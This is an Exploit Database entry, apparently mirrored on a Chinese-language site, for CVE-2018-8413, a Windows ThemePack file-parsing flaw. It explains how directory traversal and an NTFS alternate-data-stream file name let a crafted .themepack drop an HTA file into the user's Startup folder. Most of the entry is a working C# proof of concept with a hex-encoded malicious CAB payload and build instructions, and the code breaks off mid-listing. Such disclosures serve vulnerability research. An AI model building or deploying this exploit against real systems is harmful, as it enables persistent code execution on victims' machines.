Microsoft Windows 10 – Theme API ‘ThemePack’ File Parsing

Exploit Database
111 阅读

作者： Eduardo Braun Prado

日期： 2020-01-29
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/47975/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing

# Google Dork: n/a

# Date: 2020-10-28

# Exploit Author: Eduardo Braun Prado

# Vendor Homepage: http://www.microsoft.com/

# Software Link: http://www.microsoft.com/

# Version: 10 v.1803 (17134.407)

# Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019

# CVE : CVE-2018-8413

# Discovered by: Eduardo Braun Prado

[Details]

Microsoft 'themepack' files are classic '.theme' files compressed for

sharing over the internet. Theme files

allows users to customize visual aspects of their device, such as icons

for known features like 'My computer'

and 'trash bin' folders, the default screensaver (which by the way

allowed attackers to run '.scr' files located

on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810).

ThemePack file type uses Microsoft 'CAB' format. The parser contains a

vulnerability that allows attackers

to create arbitrary files on arbitrary locations on the user´s system,

by using the classic

'parent directory' technique, and thus could lead to creation of some

executable files on the

startup folder. This executable will be run on next logon.

Conditions:

1) The 'themepack' file must contain a valid '[dot] theme' file.

The parser allows creating '.theme' files on arbitrary locations, but

the extension must be

'.theme'. There´s a trick, though, to overcome this:

NTFS Alternate Data Streams.

By using a specially crafted name like "abc.hta:[dot] theme" it´s

possible to trick the parser into

dropping a file with an '[dot] hta' extension instead of the legitimate

'[dot] theme', potentially allowing

attackers to compromise the affected systems. The '[dot] hta' extension

is a good choice since you can

merge valid code with arbitrary text or binary files.

Note: Patched on October, 2018 Microsoft monthly patch.

[PoC]

Proof of concept code that drops an 'hta' file to startup dir.

Instructions:

- Create a new project on MS Visual Studio (any version, included free

ones like 'Express'), choose 'Console Application'

and at 'program . cs' replace the code with the code below

Note: Source code targets dot NET 4.0 and up (previous versions might

work fine though!)

using System;

using System.Collections.Generic;

using System.IO;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

namespace ThemePack

{

class Program

{

static void Main(string[] args)

{

String exeDir = AppDomain.CurrentDomain.BaseDirectory;

Directory.SetCurrentDirectory(exeDir);

string tmpPath = Path.GetTempPath();

string tpd =

"4D53434600000000AB010000000000002C000000000000000301010001000000000000009500000001000100930100000000000000003C508108200061612E2E5C2E2E5C2E2E5C2E2E5C2E2E5C2E2E5C726F616D696E675C6D6963726F736F66745C77696E646F77735C7374617274206D656E755C70726F6772616D735C737461727475705C6162632E6874613A2E7468656D6500B60133780E019301434B4D51C16A023110BD07F20F5EBC5A85D2163405DDB5871645CCB215BA1ED265C0E024B364E261FDFA66534BBD8499F7DE4CDE4BE68B5374F82AC55775020747294ACB1D9A7E6B1CA88CED4C7B1ED517F4522459413E06C2D1CE78C0A6043E47EAD2D8A741EC4C074149515984FF7E7A47EAD823A85982762646085EE5A5B5E58BC14CF231732735D63D47707BA2386E02305D420BDCC4C112374B08948F8963CE7352148474BB614BC119CC8014DA5EFF90A1BC09EDD5444B3ED76A7A785A3D3FAE5EDE8AE43E18CF9D09E0DB5ECD06B5EB88ED201EDA3BAF3504CEE834A7F84E56937B5DECB77A59AF27EBC3FA37DEC6A424213FA60684365248BA4DA537AA5CAEDECB8F4A8AF9E2E1F6133F";

string tpf = exeDir + "\\C00L.themepack";

Console.WriteLine("\n\n

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

\n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability

PoC (CVE-2018-8413)\n\n by: Eduardo Braun Prado \n\n

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++");

StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h");

s.Write(tpd);

s.Close();

FileStream f = File.OpenRead(tmpPath + "\\themepack000.h");

String ax = "";

byte[] b = new byte[f.Length];

UTF8Encoding temp = new UTF8Encoding(false);

while (f.Read(b, 0, b.Length) > 0)

{

ax = ax + temp.GetString(b);

}

String bx = ax.ToString();

String cx = "";

byte[] b02 = new byte[f.Length / 2];

for (int i = 0; i < f.Length; i += 2)

{

cx = bx.Substring(i, 2);

b02[i / 2] = Convert.ToByte(cx, 16);

}

File.WriteAllBytes(tpf, b02);

if (File.Exists(tpf))

{

long fsize = new FileInfo(tpf).Length;

if (fsize != 0)

{

Console.WriteLine("\n\n\n Done! 'C00L." +

"themepack' file created in the current directory. Vulnerable systems

should plant an HTA on startup dir.");

}